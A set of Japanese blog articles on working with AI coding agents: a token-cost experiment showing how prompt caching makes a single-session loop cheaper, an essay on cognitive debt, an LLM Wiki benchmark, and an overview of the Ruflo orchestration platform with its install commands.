ゴールだけを与えて完了するまで回す単一セッションのループが、計画ベースのワークフローの1/9のコストで同じ課題を完走しました。秘訣はループではなく、キャッシュにあります。

ラルフループ（Ralph loop）は単純な方式です。ゴールと完了条件だけを明示し、単一セッションでエージェントが完了判定を通過するまで自律的に反復させます。計画書も、タスク分割も、セッション間の引き継ぎ文書もありません。一見すると無計画で非効率に見えます。

バイブコーディングが標準になるにつれ、多くの組織がトークン不足に直面しています。以前の記事でトークン管理戦略を扱いましたが¹、そのときの処方はほとんどが経験則でした。そこで私たちは経験則を検証するための実験リポジトリ vibecoding-token-experiments² を作りました。トークン使用に関する仮説をカタログとして管理し、RealWorld App³ のバックエンド実装という固定のベンチマーク課題の上で、ワークフロー戦略・トークン習慣・言語という三つの軸の仮説を、統制された条件で一つずつ実測するプロジェクトです。

その第一の軸がワークフロー戦略でした。実測してみると、ラルフループというこの単純な方式が、計画ベースのワークフローより約9倍安く同じ課題を完走しました。この記事では、これまでに実施した四つの実験の結果とともに、ラルフループを安くする本当のメカニズムであるプロンプトキャッシングの動作原理を説明します。

1. 実験: ラルフループ vs 計画ベースのワークフロー

共通の課題はRealWorld Appのバックエンド実装です。MediumクローンのREST APIを仕様どおりに実装し、公式APIテストを100%通過して初めて完走と認めます。モデルはClaude Opus一つに固定してモデル差による撹乱を排除し、ツールはClaude Codeを使いました。測定はセッションログのusageフィールドを集計し、billableトークン（input + output + cache_creation）を基準としました。

比較した二つのワークフローは次のとおりです。

• Ralph loop: ゴールと完了条件だけを明示し、単一セッションでエージェントが完了判定を通過するまで自律的に反復させる方式
• Plan-then-execute (PTE): 計画セッションでタスクを分割しインターフェース契約を文書化したうえで、タスクごとに独立したセッションを立ち上げて実装する方式

始める前に、この実験の範囲を明確にしておきます。RealWorld Appは**仕様が完全に固定された課題です。**APIスペックとテストがすでに与えられているため、エージェントがするのは純粋な実装だけです。一方、実際の開発では要件定義や設計の段階からエージェントが投入されるのが一般的で、その段階では探索と計画の成果物そのものが目的になります。したがってこの実験が測定するのは「計画が必要か」ではなく、**実装段階におけるコンテキストキャッシングの効果とラルフループのコスト効率です。**何を作るかがすでに決まっている状態で、ワークフローとコンテキスト構造がトークンコストをどれだけ左右するのかを見ます。

2. 結果: ラルフループが約9倍安かった

両条件ともAPIテストを100%通過しました。品質は同じなのにコストが分かれたのです。ラルフループは14分、単一セッション、約32万トークンで完走しました。billable基準でPTEの1/8.7、時間では1/3.5です。PTEの計画セッション一つ（約36万トークン）だけで、ラルフループの実行全体より高くついていました。

ラルフループが回避したコストをログから分解すると、四つあります。

1. セッション起動の固定費: セッションを新しく開くたびに、システムプロンプトとツール定義がコンテキストに新たに組み込まれます。実測した起動税はセッションあたり約20.6Kトークン。PTEは16セッションなので33万トークンを支払い、ラルフの1回分（約2.1万）を引いた差額の約31万トークンだけで、ラルフの実行費全体（32.5万）に匹敵します。
2. 同じファイルの繰り返し読み込み: PTEの各セッションはリポジトリを初めて見る状態から始まります。src/app.ts を7回、同じ仕様書を5回読み直しました。ラルフは一つのコンテキストの中で、一度見たものを見直しません。Read呼び出しはラルフ 2回に対しPTE 49回、検証用のBash呼び出しは35回に対し186回でした。
3. 文書の連続性を保つ生産コスト: PTEの成果物の44%はコードではなく、セッション間の知識伝達用の文書（仕様、完了記録）でした。ラルフではこのコストがゼロです。コンテキストそのものが生きた引き継ぎ文書だからです。
4. アトミック分割のパラドックス: PTEでは、GETエンドポイント一つだけの最小タスクが15.6万トークンを使いました。ラルフ全体の半分に近い量です。タスクが小さくなるほど、固定費（起動税 + リポジトリ把握 + 独立した検証）の比重が支配的になります。

3. 秘訣はプロンプトキャッシングにある: その動作原理

ラルフループが勝ったのは、ループ構造が優れているからではありません。**一度作ったコンテキストをプロンプトキャッシュで最後まで再利用したからです。**このメカニズムを理解すれば、結果は当然のものになります。

**原理1: キャッシュはプロンプトの前半部（prefix）をまるごと保存する。**Claude APIのプロンプトキャッシング⁴は、プロンプトの先頭からの連続した区間をキャッシュします。内容のハッシュがキーなので、バイト単位で同一のprefixが再び来ると、モデルは再処理せずにサーバーに保存された状態をそのまま呼び出します。usageフィールドの cache_creation_input_tokens は今回のリクエストで新たにキャッシュに書き込んだトークン、cache_read_input_tokens はキャッシュヒットで読み込んだトークンです。

**原理2: エージェントの対話は構造的にキャッシュ親和的である。**エージェントの対話はappend-onlyで蓄積されます。以前のターンを修正せず後ろに追加するだけなので、直前までの履歴全体が常に安定したprefixになります。結果として毎ターン「以前のすべて = キャッシュ読み込み、今回のターンの新しい入力と出力だけが正価」で課金されます。Claude Codeはシステムプロンプト、ツール定義、対話履歴を自動的にキャッシュするので、ユーザーが別途設定するものはありません。

原理3: キャッシュ読み込みは正価の0.1倍である。キャッシュ書き込みは基本inputの1.25倍（5分TTL基準）とわずかな割増がつきますが、読み込みは0.1倍程度にすぎません⁵。しかも5分のTTLはヒットするたびに無料でリセットされるため、エージェントが5分以内にターンを続けている限り、キャッシュはセッション中ずっと生きています。一度でもヒットすれば損益分岐点を超える構造です。

**原理4: キャッシュはセッションではなくprefixの内容にキーイングされる。**新しいセッションが高くつく正確な理由はここにあります。システムプロンプトやツール定義のようにセッション間で共通の部分（上で測定した約20.6Kの起動税の領域）はTTL内であれば再利用され得ますが、対話履歴と読み込んだファイルはセッションごとに異なるため、その部分は毎回キャッシュ書き込み（1.25倍）で再構築されます。またキャッシュは tools → system → messages の階層構造なので、ツール定義やモデルを変えるとその下のすべてが無効化されます。

この四つの原理を実測に当てはめると、数字が説明できます。ラルフの単一セッション（112メッセージ）はcache readが840万トークンに達しました。同じコンテキストを112回再処理していたら発生していたコストが、0.1倍で吸収された痕跡です。一方PTEはセッションごとにprefixが新たに始まるため、cache_creationが204万トークン（ラルフの8.7倍）に膨れ上がりました。

billable指標はcache readを除いた近似値なので、実際の請求額に近づけるためOpusの単価（input $5/M、output $25/M、キャッシュ書き込み $6.25/M、キャッシュ読み込み $0.5/M）で換算すると、次のようになります。

（表の「PTE + スキル」条件は4章で扱います。）

ドル基準でもラルフループはPTEの1/6.8のコストです。一つ注目すべき点は、単一セッションでもcache readが最大のコスト項目（ラルフの53%）だということです。0.1倍とはいえ毎ターン履歴全体を読むので、セッションが長くなるほどコストは二次曲線で累積します。ラルフループにもタダ飯はありません。適切なタイミングでの /compact が推奨される定量的な根拠です。

4. 分割が避けられないとき: スキル式の段階的開示

課題が単一セッションのコンテキストに収まらないなら、分割は避けられません。その場合の処方も実験しました。同じPTEワークフローにスキル（Skill）式の段階的開示を適用し、計画セッションがドメイン別の契約（エラー文字列、検証順序、共有インフラの規約）を200行以下のスキル文書として書いておき、各タスクセッションは必要なスキルだけをその都度ロードするようにしました。

ワークフローは同一で、コンテキスト構造だけを変えたのに**39.3%減りました。**タスクセッションが読むコンテキストが「自分の仕様 + 必要なスキル」に限定されたことで繰り返し読み込みが消え（Read 49回 → 25回、スキル呼び出し41回）、契約が明示されていたおかげで検証ゲートを初回で通過し、手戻りコスト336K（約34万）トークンがまるごと消えました。

興味深いのは反対側の実験です。同じスキルを単一セッションのラルフに提供した場合は、効果を確認できませんでした（n=2、平均差 +3.5% が条件内の変動幅200Kに完全に埋もれた）。理由は明確でした。課題全体を一人でこなすセッションはどのみちすべての契約が必要なので、スキルのツール呼び出しは0回 — セッションの序盤にスキル文書をすべて読んでしまったのです。段階的開示の節約メカニズムは、セッションが全体コンテキストの部分集合だけを必要とするときにのみ機能します。裏を返せば、単一セッションのラルフループはコンテキスト構造にこれ以上手を加える余地もなく、すでにキャッシュの観点では最適に近いということです。

5. ノイズの大きさを知るべき理由

別の実験では、「全工程を英語で進めれば韓国語よりトークンが少なく済む」という仮説も検証しました。静的な測定では効果は実在します。同じ内容の文書をトークン化すると、韓国語は散文基準で2.76倍、表とコードの混在基準で1.39倍大きくなります。しかし実際の作業では、言語効果（平均差 約29K）がrun間の軌跡の変動（最大138K）に埋もれ、判定不能でした。

同一条件で2回実行したrunがトークン基準で1.7倍（191K vs 329K）、四つ目の実験では2倍（199K vs 400K）まで開きました。エージェントが仕様のエッジケースをどれだけ深く掘り下げると「決心」するかが、言語よりはるかに大きなコスト変数だったのです。成果物の大半が言語中立的なコードであることも、言語効果の上限を下げました。

この観察はそれ自体に実務的な含意があります。エージェントの作業軌跡の変動は±数十万トークンの定常ノイズなので、10%程度の節約テクニックは一、二回の実行比較では検証できません。誰かが「この設定でトークンが15%減った」と言うなら、まず何回実行した平均なのかを尋ねるべきです。逆にラルフループの8.7倍やスキルの-39.3%のような効果はこのノイズ帯域を数倍上回るので、一度の実行でも方向が覆ることはありません。

結論

四つの実験を貫く結論は一つです。仕様が固定された実装段階において、**トークンコストの支配変数はワークフローの精緻さではなく、コンテキスト（キャッシュ）の再利用です。**ラルフループの9倍の効率はループ自体の魔法ではなく、「append-only履歴 = 安定したprefix = 0.1倍での再利用」というキャッシング構造の直接的な帰結です。実務指針としてまとめると次のようになります。

1. **実装するものが決まっている課題が単一セッションに収まるなら、単一セッションで回すこと。**セッションを分けた瞬間に起動の固定費とコンテキスト再構築のコストが累積し、同じ課題が6〜9倍高くなります。
2. **分割が避けられないなら、コンテキストをスキルとして構造化すること。**各セッションが必要な部分集合だけをロードするようにすれば、分割の税金を40%近く減らせます。ただし、全体のコンテキストが必要な単一セッションには効果がありません。そちらはすでに最適です。
3. **非常に長い単一セッションは再び高くつく。**cache readはタダではなく0.1倍の課金であり、二次曲線で累積します。適切なタイミングでの /compact は定量的に正当化されます。
4. **文書の言語（韓国語/英語）のような10%水準の変数は、この二つの決定よりはるかに小さい。**run間の変動のほうが大きいので、ワークフローとコンテキスト構造から固めるのが順序です。

計画が無意味だという話ではありません。この結果は仕様が固定された実装段階に限られ、要件定義や設計のように探索と合意そのものが目的となる段階にそのまま一般化することはできません。またPTEが残した計画書、インターフェース契約、タスクごとの完了記録は、保守と引き継ぎの観点でラルフが作れない資産です。ただし実装段階に関する限り、最も単純に見える方式がキャッシング構造と正確に噛み合い、最も安く済みました。トークンが組織のボトルネックとなった時代に、コスト構造を実測なしに直感で判断することこそが、最も高くつく選択です。

「最初のリリースコードを出荷することは、借金をするようなものだ。少しの借金は開発を加速する。期限どおりに返済しさえすれば。」 — Ward Cunningham, OOPSLA ‘92¹

バイブコーディングで仕事をしていると、奇妙な瞬間が訪れます。間違いなく自分のプロジェクトなのに、コードを開いてみると他人の家のようです。エージェントが設計し、エージェントが実装し、私は承認ボタンを押しました。仕事は早く終わりました。ところが障害が起きると、こう言うことになります。「この問題はなぜ起きたのでしょう？ AIが作ったものなので、よく分からないんです。」

これが認知負債（cognitive debt）です。コードは積み上がるのに、理解は積み上がらない。その格差が借金です。

この用語は誇張ではありません。2025年、MIT Media Labの研究チームは、エッセイを書く人々の脳をEEGで測定しました。LLMを使ったグループは脳の結合性が最も弱く、自分が書いた文章をきちんと引用できず、自分の文章だという所有感も最も低いという結果でした。このパターンはAIの使用を中断した後も続きました。研究チームはこの現象に「認知負債」という名前を付けました。² コード側のデータも方向は同じです。GitClearが2億行以上のコミットを分析したところ、AIアシスタントが広まった期間に、コピー＆ペーストのコードは増え、リファクタリングは半分以下に減っていました。³ 成果物は速くなりました。理解と整理は後回しにされたのです。

人を挟めば解決するのか

この問題を前にしてよく出てくる処方が human-in-the-loop です。すべての成果物を人がレビューしようというものです。聞こえは良いです。現実には機能しません。

理由は単純です。エージェントは人よりはるかに速く作ります。人が毎回関与すれば、人がボトルネックになります。ボトルネックになった人は時間に追われます。追われていると、中身を見ずに承認ボタンだけを押すようになります。レビューは形式になり、形式になったレビューは錯覚を生みます。「人が見たのだから大丈夫だ」という錯覚です。誰も見なかった場合より悪いこともあります。

これは新しい発見ではありません。自動化研究は40年前にすでに結論を出しています。Bainbridgeは1983年の論文で自動化の皮肉を指摘しました。自動化が進むほど、人は技能を練習する機会を失います。残る仕事は退屈な監視です。ところが実際に人が介入しなければならない瞬間は、最も困難な瞬間なのです。⁴ 後続の研究は、自動化への安住（automation complacency）が初心者だけの問題ではないことも確認しました。専門家も同じように安住し、訓練や指示ではなかなか直りません。⁵

体感も当てになりません。METRが2025年に熟練したオープンソース開発者を対象にランダム化比較試験を行いました。AIツールを使った開発者は実際には19%遅くなっていたのに、本人たちは20%速くなったと感じていました。⁶ 自分が理解しているという感覚と、実際の理解との格差。認知負債はまさにその格差の中で育ちます。

負債はなくすものではなく、管理するものだ

では、どうすればよいのか。私は認知負債を技術的負債（technical debt）と同じやり方で扱おうと主張したいと思います。

技術的負債という言葉を最初に作ったWard Cunninghamは、負債を悪と規定しませんでした。むしろ逆です。少しの借金は開発を加速する。問題は借金そのものではなく、返さずに放置したときに付く利子です。¹ 認知負債も同じです。AIが生成したすべてのコードを人が完全に理解し説明できなければならないという要求は非現実的です。その要求を真に受けた瞬間、AIを使う意味が消えます。負債をゼロにしようとする試みは失敗します。目標はゼロではなく、適正水準です。

適正水準とは何か。いつでも求められれば、一定の深さまでは説明できる状態です。すべての関数を暗記している必要はありません。しかし、システムがなぜこういう形になっているのか、どこが危険なのか、何が観測されれば設計が失敗したことになるのかは言えなければなりません。その線より下に理解が落ちたら、借金を返すべきです。

問題は方法です。私は三つを使う、あるいは提案します。

第一に、小テスト

設計や実装が終わったのに、自分が今何を作ったのかよく分からない、という感覚に襲われることがあります。その瞬間が借金を返す瞬間です。私はこういうとき、エージェントに小テストを要求します。アイデアレベルの話ではありません。実際にスキルとして作って使っています。

核心となる原則は一つです。答えは常に自分の口から出なければならない。エージェントが説明してくれれば楽です。そして役に立ちません。説明を聞くと理解したと錯覚するからです。錯覚したまま負債はそのまま残ります。だからこのテストは採点ではなくインタビューです。エージェントはオープンな質問を一つ投げます。「なぜ代替案Xではなくこの方式なのか？」「この部分がなければ何が壊れるのか？」私の答えを聞き、ギャップが露わになった地点を選んで追加質問を投げます。次の質問はあらかじめ決まっていません。直前の私の答えが決めます。同じギャップが2回の追加質問でも解けなければ、そのとき初めて解説が出てきます。

抜け落ちたものをすぐには教えてもくれません。「もう一段階あるのですが、何が抜けているでしょうか？」と想起を要求します。居心地が悪いです。居心地が悪いのが正常です。借金を返す仕事が楽だったことはありません。

第二に、文芸的コードdiff

Knuthは1984年に文芸的プログラミング（literate programming）を提案してこう述べました。プログラム作成の主たる任務を、コンピュータに指示することではなく、コンピュータに何をしてほしいのかを人間に説明することへと変えよう。⁷ この観点をディフ（diff）に適用したのが文芸的コードdiffです。

一般的なコードレビュー画面は、変更されたファイルの羅列です。ファイルの順序はアルファベット順で、変更の論理的な順序とは無関係です。レビュアーは断片化された変更を頭の中で再組み立てしなければなりません。エージェントが作った大きな変更を前にすると、この再組み立てはしばしば放棄されます。そして承認ボタンが押されます。

文芸的コードdiffは順序をひっくり返します。変更を概念の順序に並べ、各段階に説明を付けます。「まずリポジトリのインターフェースを変えた。なぜなら。次に呼び出し側を直した。なぜなら。」読む人は変更を一つの物語として追っていきます。私はこの文書をリリースノートのように保守するのも良いと考えています。PRごとに文芸的diff文書を一つずつ作り、READMEにインデックスを置いてアクセス性を保つ、という具合です。コードベースの歴史が「誰がいつ何を変えた」ではなく「なぜこうなった」として残ります。

第三に、叙述型の文書

AIが吐き出す文書はほとんどが箇条書きです。ビュレットポイントが整列した文書は一目で頭に入ります。それが長所であり、罠でもあります。一目で入ってくるがゆえに、読んだと錯覚しやすく、論理が抜けている箇所も目に留まりません。そしてすぐに忘れられます。

Amazonはこれを会社レベルで実験しました。ベゾスは2004年の役員会議でパワーポイントを禁止し、叙述型のメモを導入しました。理由が的確です。良い叙述型メモを書くのが難しいのは、叙述の構造が、何がより重要でどう繋がっているのかについてのより良い思考を強制するからです。⁸ 読む側も同じです。叙述型は箇条書きより読むのに時間がかかります。その代わり物語として読むので、論理の切れ目が露わになり、読んだ内容が長く残ります。

ADR（Architecture Decision Record）で比較してみましょう。箇条書きのADRはこんな形です。

## 決定: セッションストアをRedisへ移行
- 現状: DBセッションテーブルのボトルネック
- 代替案: Memcached, DynamoDB, Redis
- 選択: Redis
- 根拠: TTLサポート、運用経験あり

すっきりしています。そして何も検証できません。ボトルネックがどれほど深刻だったのか、Memcachedはなぜ脱落したのか、「運用経験あり」が決定を正当化するほど重要な条件だったのか、この文書は何も語りません。同じ決定を叙述型で書くとこうなります。

前四半期にトラフィックが2倍に増え、セッションテーブルのロック競合が応答遅延の主犯となった。ピーク時間帯のp99遅延の60%がセッション照会から出ていた。キャッシュ層の導入が必要だったが、Memcachedは再起動時にセッションが全て消えてログイン殺到を引き起こしかねないため除外した。DynamoDBは遅延要件は満たしたが、TTLの精度が分単位であり、セッション有効期限のポリシーと合わなかった。Redisは両方の要件を満たし、チームに運用経験があるため障害対応リスクも低い。ただし単一ノード構成であるため、Redis障害時には全てのログインが不可能になる。これがこの設計の失敗条件である。

読むのに3倍ほどかかります。その代わり、この文章を読んだ人は質問できます。「p99の60%という数値はどこから出たのか？」「Memcachedに永続化オプションがあるのでは？」箇条書きの文書の前では出てこなかった質問です。論理が文としてつながっていてこそ、論理の穴も見えます。認知負債を返す文書とは、速く読める文書ではなく、吟味しながら読める文書です。

結論

認知負債はバイブコーディングのバグではなく、コストです。速度を買ったなら、その代金を払わなければなりません。代金を払わない方法はありません。human-in-the-loopのように払うふりだけをする方法があるだけで、ふりはたいてい払わないことより悪いのです。

技術的負債を扱うように扱えばよいのです。全部返そうとしないこと。返せません。その代わり、利子が耐えられる水準かを確認し続けること。自分が今何を承認したのか説明できないなら、利子が限度を超えたということです。そのときに小テストを受け、ディフを物語として読み直し、文書を叙述型で書き直すのです。

理解は自動的には積み上がりません。コードだけが自動的に積み上がります。

「エージェントが毎回すべてを再導出しないようにするには、コンパイルされた知識アーティファクトが必要だ。」 — Andrej Karpathy, LLM Wiki (GitHub Gist, 2026-04)¹

TL;DR

• Andrej KarpathyのLLM Wikiパターン（「毎回読み直すのではなく、一度コンパイルした知識を再利用せよ」¹）が実際に得なのかを、30リポジトリのマイグレーション用ワークスペースで8タスク × 3手法 × 3反復 = 72 runのベンチマークとして測定しました。
• LLM Wikiがトークン・時間・品質の3次元すべてで1位。Vanilla比でトークン54%削減、時間39%短縮（統計的にlarge effect、§4）、品質はVanillaと同等でGraphifyより優位。
• **Graphify（GraphRAG）は既定ツールとして不適合。**トークン削減はわずか、時間は最長、品質は最低。
• **ただし万能ではない。**複数のソースを総合するタスクではWikiの圧勝ですが、答えが単一のソースに明確にあるタスク（全件grep・特定の表の参照）では直接readのほうが速く正確です（§3）。
• 結果を受けて、その日の夕方にプロジェクトの既定コンテキスト検索ツールはLLM Wikiに変わりました。

以下はこの結論を裏付ける実験設計と詳細な数値です。

1. 比較した三つの手法

LLM Wikiパターンの核心はRAGとの違いです。RAGは問い合わせのたびに埋め込み・ベクトル検索・チャンク注入を繰り返すstatelessなサイクルであるため、総合・相互参照・矛盾処理を毎回ゼロからやり直します。LLM Wikiはこれを逆転させ、新しいソースが入ってきたときに一度コンパイル（要約・相互参照・衝突の明記）しておき、問い合わせの時点ではすでに総合されたマークダウンページを読みます。コンパイルは一度、問い合わせは複数回 — この非対称なコスト配分がトークン削減の源泉です。

2. 実験設計

意思決定の問い: 「このマイグレーションのワークロードにおいて、トークン効率と回答品質を同時に満たす手法は何か？」従属変数の優先順位は ① トークンコスト ② 回答品質 ③ 作業時間。

ワークロード — 8タスク（T1–T8）:

隔離: 三つの手法をgit worktree 3つに分離し、各worktreeに専用のCLAUDE.mdを上書きしました。submodule・PRD・コード・gitは共通で、違いは補助ツールだけです。worktreeのパスが分かれているおかげで、trial間のprompt cache汚染はありません。

採点（Judge） — 外部モデル（codex/GPT-5）: actorがClaudeであるため、self-evaluationのバイアスを避けようと外部モデルで採点しました。4次元0–25のrubricです。

タスクのプロンプトにはground truthを露出させず、judgeだけが保持します。Inter-rater agreement（Cohenのκ）は加重平均0.86でrubricを通過しました（excess次元のみκ=0.25と弱いものの、重みは0.1）。

3. タスク別の勝者 — パターンは単純ではない

全体平均はWikiに軍配を上げますが、タスク種別によって勝者が分かれます。平均スコア基準の1位は次のとおりです。

• Wikiは混合型・総合型のタスクでrobustです。8件中5件（T1・T2・T5・T6・T7）で1位。とくに複数のソースを総合しなければならないT2（cross-language）・T6（外部資料）で強い。キュレーションが値打ちを発揮しています。
• Vanillaが勝つタスクが二つあります。T4（全件grep）・T8（cross-domain）です。どちらも答えが単一のソースに明確にあり、キュレーションがかえって損失になるケースです。T4はコード全体のgrepで片が付き、T8はPRDの表を直接読むのが最も正確です。
• **GraphifyはT3の1件だけが1位で、それも9.50/25と絶対スコアが低い。**強みを期待していたcross-language（T2）でもwikiに大きく負けました — INFERRED edgeがノイズを加え、query overheadが時間を押し上げたのです。

4. 統計的有意性

Friedmanの主効果: 時間 p=4.5e-07、品質 p=0.0016（どちらも強力）、トークン p=0.093（限界的）。

Wilcoxonのpairwise（Bonferroni補正）:

まとめると、Wikiはvanilla比でトークン・時間を大きな効果量で削減し（品質は同等）、graphify比では品質・時間ともに優越しています。graphify-firstは私たちのワークロードでは既定ツールとして不適合です。

5. では、どう運用するのか

ベンチマーク結果を受けて整理した既定のポリシーです。

1. Wiki-first — 運用上の事実は wiki/index.md → 関連ノートを先に読む。
2. なければ即座に原典へ — wikiになければ PRD → コードのread/grep。決して作り出さない。
3. 単一ソースでの回収が明確ならwikiを飛ばす — 一つのノートに絞り込めないなら、素早く直接readへ移る（T4・T8型）。
4. Graphifyは補助 — cross-componentの依存関係の追跡にのみ選択的に使う。

運用して得た最大の教訓は別にあります。**wikiを作ることよりも、回答のたびに出典を引用させるほうが難しく、より重要です。**初期は記録は活発だったのに、回答の [[..]] 引用が10%未満だったため、wikiの価値が半分しか発揮されていませんでした。回答の直前に「この事実にwikiの引用があるか？」を強制するチェックルール一つで、引用率はすぐに正常化しました。

6. 留意点

• excess次元のIRRが弱い（κ=0.25）。すべての手法のtranscriptを一緒に見ながらの採点だったため、excessのスコアが一律に厳しくなりました。重みが0.1なので結論への影響は小さいものの、絶対値は保守的に見るべきです。
• Wiki biasへの懸念: 8タスクすべてでwikiにground truthがあるため、有利になっている可能性があります。ただしjudgeはsourceではなくground truthの事実そのものを評価します。
• Claude Codeベースの測定です。他のモデル・ツール環境では結果が異なり得ます。この数値は私たちの環境におけるポリシーの根拠であって、universal claimではありません。

まとめ

Karpathyの LLM Wiki パターンは、私たちのドメインでトークン54%削減、時間39%短縮、品質は同等以上の効果を出し、統計的にもlarge effectで有意でした。既定ツールをwikiに変えた決定はデータに裏付けられています。

ただしパターンを直訳してはいけません。答えが単一のソースに明確にあるタスクではキュレーションのコストが損失になりますし、Graphifyは既定ツールとしては不適合であるものの、特定の経路の問い合わせではwikiより優れています。**パターンは受け入れつつ、自分のワークロードのタスク分布とソース構造を併せて見るべきです。**8タスク × 3手法 × 3トライアル = 72 runであれば1〜2日で答えが出るので、ぜひ一度ご自分で測定してみることをお勧めします。

単一プロジェクトを超えて、チームの洞察を学習するClaude Codeワークフローの設計法。

Claude Codeを1か月も使えば限界がはっきりします。コンテキストはセッションとともに消え、作業を分解してまた統合する仕事は結局のところ人の役目です。より大きな問題は、プロジェクトが複数になり開発者が複数になった瞬間に表れます。Aプロジェクトで得たテスト戦略、B開発者が見つけたリファクタリングのパターン、Cリポジトリで検証されたアーキテクチャ上の判断が、互いにうまく流れていきません。ruvnet/ruflo（旧Claude Flow）は、この空白をまさに狙っています。2026年5月4日時点でGitHubにおいて39.4k stars、4.5k forksを記録しており、最新リリースはv3.6.27です。¹² Rufloは、Claude Codeの上に100を超える専門エージェント、HNSWベクトルメモリ、プラグインシステム、そしてZero-Trustフェデレーションを載せたオーケストレーション層を目指しています。本稿では、Rufloが実際に何を解決し何を解決しないのかを、とくに複数のプロジェクトと複数の開発者が獲得した洞察をどう有機的に再利用するかという観点から整理します。

TL;DR

• Rufloは、Claude Codeをマルチエージェント協働システムへ拡張するMITライセンスのオーケストレーション・プラットフォームです。¹
• 核心はスウォーム調整＋永続メモリ＋Zero-Trustフェデレーションの三つです。314個のMCPツール一覧よりも、プロジェクトと開発者のあいだに洞察が流れる構造を作れるかどうかのほうが重要です。
• リリース速度と自社マーケティングの語調を考慮すると、個人の学習やチームのPoCには適していますが、エンタープライズでの即時全面導入は推奨しません。

Claude Code単体の限界とRufloの位置づけ

Claude Codeはすでに強力です。リポジトリを読み、ファイルを修正し、テストを実行し、ユーザーの承認を得てシェルコマンドを実行します。問題は、単一セッション・単一リポジトリ・単一ユーザーを中心とした作業モデルにあります。長期のプロジェクトでは「前回なぜこの決定をしたのか」が残り、複数プロジェクトでは「あのプロジェクトで学んだことをこのプロジェクトにどう持ち込むか」が残ります。チーム単位になると「A開発者のClaude Codeセッションで得た洞察を、B開発者の次の作業にどう伝えるか」がより重要になります。

Rufloは、Claude Codeを置き換えようとする道具というより、Claude Codeの周辺に作業調整の層を付け足す側に近いものです。ユーザーはClaude Codeを使い続け、Rufloはその背後でエージェントのルーティング、メモリ、スウォーム調整、バックグラウンドワーカー、プラグイン実行を担います。

この表で重要なのは「機能が多い」ということではありません。Rufloの価値は、複数のエージェントが同じ作業の異なる側面を担い、その結果をメモリに残し、次の作業で再利用できるようにする点にあります。つまり、個人の生産性ツールからチームの学習システムへ移行できるかどうかが核心的な問いです。

本当の問い：洞察をどう再利用するか

バイブコーディングは個人単位では素早く効果を出します。一人の開発者がClaude Codeと長く働くほど、プロンプトの習慣、テストの順序、レビュー基準、失敗のパターンが積み上がります。しかし組織の観点では、この知識は簡単に蒸発します。セッションログは散らばり、良いプロンプトは個人のノートに残り、特定のリポジトリで得た設計上の判断は別のリポジトリへ移動しません。

だからRufloを見るときに最も重要な観点は、「Claude Codeをさらに自動化してくれるか」ではなく「開発の過程で生まれた洞察を共有可能な資産に変えられるか」です。たとえば、決済システムで得た障害再現のパターンが精算システムのテスト生成に使われ、ある開発者が作ったセキュリティレビュー基準が別の開発者のPR分析に反映され、特定の顧客企業のアーキテクチャ上の決定が次のPoCの初期設計ガードレールになる、といった具合です。

この観点に立てば、AgentDB、RAG memory、knowledge graph、federationは別々の機能一覧ではありません。複数のプロジェクトと複数の開発者のあいだで洞察を保存し、検索し、伝達し、信頼境界の内側で再利用するためのパイプラインです。Ruflo導入の価値は、このパイプラインが実際の業務で機能したときに生まれます。

Rufloがすること

RufloのREADMEは「314 MCP tools」と「32 plugins」を前面に押し出しています。¹ 数字は大きいものの、構造は次の一枚に圧縮できます。

flowchart TD
    User[ユーザー]
    CC["Claude Code / CLI / MCP"]
    Orch["Orchestration Layer
Router + Hooks"]
    Swarm["Swarm Coordination
Queen / Topology / Consensus"]
    Agents["100+ Specialized Agents
coder, tester, reviewer, ..."]
    Mem["Memory & Learning
AgentDB + HNSW + SONA"]
    LLM["LLM Providers
Claude / GPT / Gemini / Cohere / Ollama"]

    User --> CC
    CC --> Orch
    Orch --> Swarm
    Swarm --> Agents
    Agents --> Mem
    Mem --> LLM
    Mem -. Learning Loop .-> Orch

中核となるコンポーネントは五つです。第一に、Claude Codeプラグイン／CLI／MCPサーバーで入口を作ります。第二に、ルーターとフックが作業を検知して適切なフローへ送ります。第三に、スウォーム層が複数のエージェントを配置します。第四に、AgentDBとRAGメモリが作業結果と判断の根拠を保存・検索します。第五に、プロバイダー・ルーティングを通じてClaude以外のモデルも一部の経路で使えるようにします。この構造がきちんと機能すれば、単一セッションの成果物が次のセッション、次のリポジトリ、次の開発者の出発点になります。

インストールには三つの経路があります。Claude Codeユーザーであればプラグイン方式が最も自然です。

# 1) Claude Codeプラグイン
/plugin marketplace add ruvnet/ruflo
/plugin install ruflo-core@ruflo

# 2) CLI
npx ruflo@latest init --wizard
# または
npm install -g ruflo@latest

# 3) MCPサーバー
claude mcp add ruflo -- npx -y @claude-flow/cli@latest

本番環境では、上の例のlatestをそのまま使ってはいけません。Rufloはリリース速度が非常に速いのです。実験はlatestで構いませんが、チームPoC以上では必ずバージョンを固定すべきです。

中核的な差別化要素：Agent Federation

Rufloで最も興味深い部分は、プラグインの個数ではなくAgent Federationです。単一マシンの中で複数のエージェントを調整する道具は、今後さらに増えるでしょう。しかし、異なるマシン・チーム・信頼境界にあるエージェントが安全に協働しようとすると話は変わります。

Rufloはruflo-federationプラグインを通じて、エージェント間の通信をZero-Trustモデルで扱おうとしています。README基準で、この層はエージェントのdiscovery、認証、作業交換、PII検知、mTLS、署名、信頼スコアといった要素を含みます。¹

flowchart LR
    A["自分のエージェント"] --> B["PII除去
（自動検知）"]
    B --> C["メッセージ署名
ed25519"]
    C --> D["暗号化チャネル
mTLS"]
    D --> E["身元検証
Challenge-Response"]
    E --> F["プロンプトインジェクション遮断"]
    F --> G["相手のエージェント"]
    G -. "行動ベースの信頼スコア" .-> A

たとえば、Aチームは決済の異常兆候を分析するエージェントを持ち、Bチームは運用ログを分析するエージェントを持っているとします。二つのチームが元の顧客データを直接共有しなくても、PIIが除去された作業依頼と要約されたシグナルだけを交換できるなら、協働の範囲は広がります。より実務的な例としては、あるプロジェクトで検証されたマイグレーション・チェックリストを別プロジェクトのDB変更作業に渡したり、特定の開発者が繰り返し見つけたプロンプトインジェクションのパターンを他チームのセキュリティエージェントがただちに活用したりする流れが考えられます。このときRufloが提案する価値は「エージェントをたくさん立ち上げる」ことではなく、「異なるプロジェクトと開発者が得た洞察を信頼境界の内側で交換させる」ことに近いのです。

# フェデレーションの初期化＋キーペア生成
npx claude-flow@latest federation init

# 他チームのフェデレーション・エンドポイントにjoin
npx claude-flow@latest federation join wss://team-b.example.com:8443

# PIIが自動除去された状態でメッセージを送信
npx claude-flow@latest federation send --to team-b --type task-request \
  --message "Analyze transaction patterns for account anomalies"

# ピアの信頼等級＋セッションヘルスを確認
npx claude-flow@latest federation status

